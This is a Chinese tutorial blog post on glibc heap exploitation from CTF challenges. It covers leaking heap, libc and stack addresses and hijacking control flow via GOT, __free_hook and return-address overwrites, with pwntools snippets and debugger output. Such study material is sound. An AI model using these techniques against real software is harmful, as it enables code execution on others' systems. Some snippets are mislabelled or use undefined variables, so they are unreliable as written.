堆中获取地址和劫持执行流的方法

栗子https://github.com/tower111/software.git
0x01获取栈地址
详细writeup:https://tower111.github.io/2018/08/30/ISG-babynote/
原理:在fast bin是单链在内存中保存,在fd位置处会写入next chunk的地址,这个地址可以用来获取heap_base。
栗子:babynote
需要:UAF漏洞,有show函数。

def add(size,content):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("input size:")
    p.sendline(str(size))
    p.recvuntil("Note:")
    p.sendline(content)
    p.recvuntil("Done!")

def show(ID):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(ID))

def edit(ID,content):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(ID))
    p.recvuntil("Note:")
    p.sendline(content)
    p.recvuntil("Done!")

def delete(ID):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(ID))
#########################################leak
add(0x20,"AAAA")
add(0x20,"BBBB")
delete(1)
delete(0)
show(0)
p.recvuntil("Note:")
main_arena=u64(p.recvuntil('\x0a',drop=True).ljust(8,"\x00"))
print "heap_base="+hex(heap_base)
print "main_arena="+hex(main_arena)
pwndbg> heap
0x2233000 FASTBIN {
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x2233030, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x2233030 FASTBIN {
  prev_size = 0x0, 
  size = 0x31, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

输出chunk1的内容即可。


0x02获取libc地址
详细writeup:https://tower111.github.io/2018/08/30/ISG-babynote/
原理:unsort bin是双向链表,如果只有一个chunk fd和bk都是main_arena+偏移。如果是多个就按照双向链表链起来(头和尾都是main_arena+偏移)
栗子:babynote
需要:UAF漏洞,有show函数。

add(0x100,"A")
delete(0)
gdb.attach(p)
show(0)
p.recvuntil("Note:")
main_arena=u64(p.recvuntil('\x0a',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_arena)
libc_base=main_arena-0x3c4b78
system_addr=libc_base+libc.symbols['system']
print "system_addr="+hex(system_addr)

多加一个chunk可以防止top chunk回收(在本次泄露中top chunk回收是不影响的)

0x15ef000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x21001, 
  fd = 0x7feb37b7cb78 <main_arena+88>, 
  bk = 0x7feb37b7cb78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

输出的main_arena=0x7f0ddf83eb78
输出这个chunk的内容即可泄露main_arena的地址,但是要怎么获取libc的地址?

让程序暂停,(gdb.attach(p)或者是raw_input()都可以)
可以用pidof来获取到pid

VirtualBox:~$ pidof babynote 
3888

可以查看各个模块的加载地址

VirtualBox:~$ cat /proc/3888/maps
00400000-00401000 r-xp 00000000 08:01 394527                             /home/liu/Desktop/babynote
00601000-00602000 r--p 00001000 08:01 394527                             /home/liu/Desktop/babynote
00602000-00603000 rw-p 00002000 08:01 394527                             /home/liu/Desktop/babynote
02588000-025a9000 rw-p 00000000 00:00 0                                  [heap]
7f0ddf47a000-7f0ddf63a000 r-xp 00000000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7f0ddf63a000-7f0ddf83a000 ---p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7f0ddf83a000-7f0ddf83e000 r--p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7f0ddf83e000-7f0ddf840000 rw-p 001c4000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7f0ddf840000-7f0ddf844000 rw-p 00000000 00:00 0 
7f0ddf844000-7f0ddf86a000 r-xp 00000000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7f0ddfa4a000-7f0ddfa4d000 rw-p 00000000 00:00 0 
7f0ddfa69000-7f0ddfa6a000 r--p 00025000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7f0ddfa6a000-7f0ddfa6b000 rw-p 00026000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7f0ddfa6b000-7f0ddfa6c000 rw-p 00000000 00:00 0 
7fff1183f000-7fff11860000 rw-p 00000000 00:00 0                          [stack]
7fff119d7000-7fff119d9000 r--p 00000000 00:00 0                          [vvar]
7fff119d9000-7fff119db000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

0x7f0ddf47a000这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的。

offset=hex(0x7f0ddf83eb78-0x7f0ddf47a000)=0x3c4b78 加载地址会变但是这个偏移是不会变的,这样可以获取到远程的libc的加载地址。


0x03获取栈地址
详细writeup https://tower111.github.io/2018/08/26/%E7%8E%8B%E9%BC%8E%E6%9D%AF-%E6%95%99%E8%82%B2/
原理:libc中有一个函数叫__environ指向的位置是栈中环境变量的地址。
栗子:GUESS
需要:libc地址,写入一个地址,能够输出这个地址处的内容。

from pwn import *
context.log_level="debug"

p=process("./guess")
elf=ELF("./guess")  
libc=ELF("libc.so.6")

p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(elf.got["read"])
p.sendline(payload)
print p.recvuntil("***: ")
read_addr=u64(p.recv(6).ljust(8,'\x00'))
print "read_addr="+hex(read_addr)


p.recvuntil("Please type your guessing flag\n")
environ_pointer=read_addr-libc.symbols["read"]+libc.symbols["__environ"]
payload='A'*0x128+p64(environ_pointer)
p.sendline(payload)
print p.recvuntil("***: ")
environ_addr=u64(p.recv(6).ljust(8,'\x00'))
print "environ_pointer="+hex(environ_pointer)
print "environ_addr="+hex(environ_addr)
gdb.attach(p)
p.interactive()

泄露出read函数地址然后计算出__environ的地址,写入之后泄露出栈中环境变量的起始地址

pwndbg> stack 100
00:0000│ rsp    0x7ffe2cc4e568 —▸ 0x400b70 ◂— mov    rax, qword ptr [rbp - 0x80]
01:00080x7ffe2cc4e570 —▸ 0x7ffe2cc4e6f8 —▸ 0x7ffe2cc501fa ◂— 0x73736575672f2e /* './guess' */
02:00100x7ffe2cc4e578 ◂— 0x100000000
03:0018│ rsi-4  0x7ffe2cc4e580 ◂— 0x8600000000
04:00200x7ffe2cc4e588 ◂— 0x109300000003
05:00280x7ffe2cc4e590 ◂— 0x3
...07:00380x7ffe2cc4e5a0 ◂— 'qwertyuiop\n'

                ......

31:0188│ r13    0x7ffe2cc4e6f0 ◂— 0x1
32:01900x7ffe2cc4e6f8 —▸ 0x7ffe2cc501fa ◂— 0x73736575672f2e /* './guess' */
33:01980x7ffe2cc4e700 ◂— 0x0
34:01a0│        0x7ffe2cc4e708 —▸ 0x7ffe2cc50202 ◂— 0x52454d554e5f434c ('LC_NUMER')
35:01a8│        0x7ffe2cc4e710 —▸ 0x7ffe2cc50219 ◂— 0x505f4150515f5451 ('QT_QPA_P')
36:01b0│        0x7ffe2cc4e718 —▸ 0x7ffe2cc5023a ◂— 0x454552475f474458 ('XDG_GREE')
37:01b8│        0x7ffe2cc4e720 —▸ 0x7ffe2cc50269 ◂— 0x45445f454d4f4e47 ('GNOME_DE')
38:01c0│        0x7ffe2cc4e728 —▸ 0x7ffe2cc50295 ◂— 0x544e4544495f434c ('LC_IDENT')

因为这个例子是用的fork函数所以调试的时候主进程没有显示输入的数据。
只要满足上述条件即可,这个方法在栈上同样适用。
32:0190│ 0x7ffe2cc4e6f8 —▸ 0x7ffe2cc501fa ◂— 0x73736575672f2e /* './guess' */子进程中这里放入了__environ地址。
输出environ_addr=0x7ffe2cc4e708也就是34:01a0│ 0x7ffe2cc4e708 —▸ 0x7ffe2cc50202 ◂— 0x52454d554e5f434c ('LC_NUMER')的地址


0x04劫持程序执行流值之复写got表
详细writeuphttps://blog.csdn.net/qq_38204481/article/details/81394165
这中方法就很常用了,作为首选项,但是要求目标软件没有开启RELRO: Partial RELRO
栗子:stkof
需要:got表可写,可以获取到libc,可以对任意地址处写入数据。

payload = 'A' * 16
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
payload += p64(elf.got['atoi'])
Edit(2, payload)
payload2 = p64(elf.plt['puts'])
Edit(1, payload2)
# gdb.attach(p)
Delete_puts(2)
##################get puts_addr,system_addr,binsh_addr############
print "ssssssssss"
puts_addr = p.recvuntil('\nOK\n', drop=True) + '\x00\x00'
print puts_addr
puts_addr = u64(puts_addr)
print "puts_addr=" + hex(puts_addr)
system_addr = puts_addr - elf.symbols["puts"] + libc.symbols["system"]
binsh_addr = puts_addr - elf.symbols["puts"] + next(libc.search('/bin/sh'))
print "system_addr=" + hex(system_addr)
print "puts_addr=" + hex(puts_addr)
gdb.attach(p)

Edit(3, p64(system_addr))

0x05劫持程序执行流之hook函数
详细writeup:https://tower111.github.io/2018/08/30/ISG-babynote/
对于got表不可写的保护复写hook函数往往是首选,下面以__free_hook函数为例。
__free_hook是libc里面的一个函数,指向的内容默认为0,如果不为0在调用free函数之前会先调用__free_hook函数。覆盖这个地址指向的内容可以获取劫持程序执行流。
栗子:babynote
需要:libc地址,可以向任意地址处写入数据。

free_hook=libc_base+libc.symbols["__free_hook"]
print "free_hook="+hex(free_hook)
#gdb.attach(p)

edit(21,p64(0)*2+p64(free_hook))

0x06覆盖返回地址
详细writeup:https://tower111.github.io/2018/08/23/House-Of-Einherjar-2016-Seccon-tinypad/
在栈溢出中很常用,但是堆溢出中作为无奈的选择。
需要:栈的地址,返回地址和环境变量地址的偏移,任意地址写入数据。
栗子:tinypad

main_ret_addr=environ_addr-30*8
print "main_ret _addr="+hex(main_ret_addr)
gdb.attach(p)
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))

跟之前一样,在main_ret函数的地址处写入rop_addr。


你可能感兴趣的:(漏洞利用技巧)